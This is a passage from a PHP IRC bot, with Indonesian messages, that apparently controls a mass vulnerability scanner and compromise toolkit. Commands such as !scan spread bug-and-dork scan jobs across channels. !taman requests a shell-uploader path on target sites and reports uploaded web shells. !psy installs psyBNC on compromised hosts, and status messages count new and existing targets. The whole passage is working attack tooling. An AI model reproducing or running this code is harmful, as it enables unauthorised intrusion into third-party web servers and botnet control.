unset($daftar); } else { $bugdork = str_pesan($com[3],$data); $arrbug = explode(' ',$bugdork); $thebug = $arrbug[0]; $thedork = str_replace($thebug,'',$bugdork); if ($com[5]) { if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :ACTION nyoba scanning 4Bug:14 '.$thebug.' 4Dork:14 '.$thedork.''. CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :Scanning 4Bug:14 '.$thebug.' 4Dork:14 '.$thedork.''. CRL); } foreach ($channel as $v) { fputs($fp,'PRIVMSG '.$v.' :!scan '.$bugdork. CRL); } } else { fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan:4 !scan 1atau 4!scan '. CRL); } } } elseif ($com[3]==':!ganti' && $auth["$dNick"]["status"]!="User") { $msg = str_pesan($com[3],$data); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :ACTION ganti '.$msg.' deh'. CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :'.$msg.' diganti.'. CRL); } $gantilist[] = $msg; } elseif ($com[3]==':!delganti' && $auth["$dNick"]["status"]!="User") { $msg = str_pesan($com[3],$data); if (in_array($msg,$gantilist)) { $daftar = join(' ',$gantilist); unset($gantilist); $daftar = str_replace($msg,'',$daftar); $gantilist = explode(' ',$daftar); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..!12 '.$msg.' dihapus!'.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..!12 '.$msg.' dihapus!'.CRL); } } unset($daftar); } elseif ($com[3]==':!gantilist') { fputs($fp,'PING 12886241614'. CRL); $msgdelay = 0; fputs($fp,'PRIVMSG '.$dNick.' :12.: Daftar Injector :.'. CRL); sort($gantilist); foreach ($gantilist as $baris) { $msgdelay++; if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; } fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL); } fputs($fp,'PRIVMSG '.$dNick.' :12.: The End :.'. CRL); unset($baris); unset($msgdelay); } elseif ($com[3]==':!ignore') { $ignore = str_pesan($com[3],$data); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Oke bozZ!!4 '.$ignore.' ga ditampilkan lagi deh..'. CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :Oke bozZ!!4 '.$ignore.' ga ditampilkan lagi deh..'. CRL); } $ignorelist[] = $ignore; } elseif ($com[3]==':!delignore' && $auth["$dNick"]["status"]!="User") { $msg = str_pesan($com[3],$data); if (in_array($msg,$ignorelist)) { $daftar = join(' ',$ignorelist); unset($ignorelist); $daftar = str_replace($msg,'',$daftar); $ignorelist = explode(' ',$daftar); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..!12 '.$msg.' dihapus!'.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..!12 '.$msg.' dihapus!'.CRL); } } unset($daftar); } elseif ($com[3]==':!ignorelist') { sort($ignorelist); $daftar = join(" | ",$ignorelist); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4D1aftar 4I1gnore:14 '.$daftar.CRL); } else { fputs($fp,'PRIVMSG'.$dNick.' :4D1aftar 4I1gnore:14 '.$daftar.CRL); } unset($daftar); } elseif ($com[3]==':!taman' && $auth["$dNick"]["status"]!="User") { $testurl = strstr($data,":!taman"); $testurl = str_replace(":!taman ","",$testurl); $theurl = $testurl.$myshelluploader; $isi = implode('', @file($theurl)); $posisi = strpos($isi,"Saved! File:"); $isi = substr($isi,$posisi); if ($posisi === FALSE) { if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4[Error]1 Akses ditolak!'.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4Error:1 Akses ditolak!'.CRL); } } else { $isi = str_replace("Saved! File:","12[Sukses!]1 Dir: ",$isi); fputs($fp,'PRIVMSG '.$dNick.' :12U1ploaded:14 '.$testurl.CRL); fputs($fp,'PRIVMSG '.$dNick.' :'.$isi.CRL); } unset($isi); } elseif ($com[3]==':!psy' && $auth["$dNick"]["status"]!="User") { $testurl = str_pesan($com[3],$data); $theurl = $testurl.$mypsyinstaller; $isi = implode('', @file($theurl)); $posisi = strpos($isi,".fx"); $isi = substr($isi,$posisi); if ($posisi === FALSE) { if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :4[Error]1 Ga bisa install psyBNC!'.CRL); } else { fputs($fp,'PRIVMSG '.$dNick.' :4Error:1 Ga bisa install psyBNC!'.CRL); } } else { fputs($fp,'PRIVMSG '.$dNick.' :12psyBNC1 installed on:14 '.$testurl.CRL); fputs($fp,'PRIVMSG '.$dNick.' :12H1asil:14 '.$isi.CRL); } unset($isi); } } /*** End of Script ***/ else { fputs($fp,'NOTICE '.$dNick.' :Auth dulu donk!'. CRL); } } } } } elseif (substr($data,0,4) == 'PING') { fputs($fp,'PONG '.substr($data,5).CRL); $statusdelay++; if ($statusdelay>=2) { $statusmsg = '1? Status ? 12New['.$targetnew.'] 3Exist['.$targetold.']4 Spam['.$targetignored.']7 Total['.$targetfound.']'; if ($spyscan) { $statusmsg .= '13 Scan[On]'; } else { $statusmsg .= '13 Scan[Off]'; } fputs($fp,'PRIVMSG '.$changue.' :'.$statusmsg.CRL); $statusdelay = 0; } } } } fclose($fp); } while ($keluar == 0); } hajar(); ?>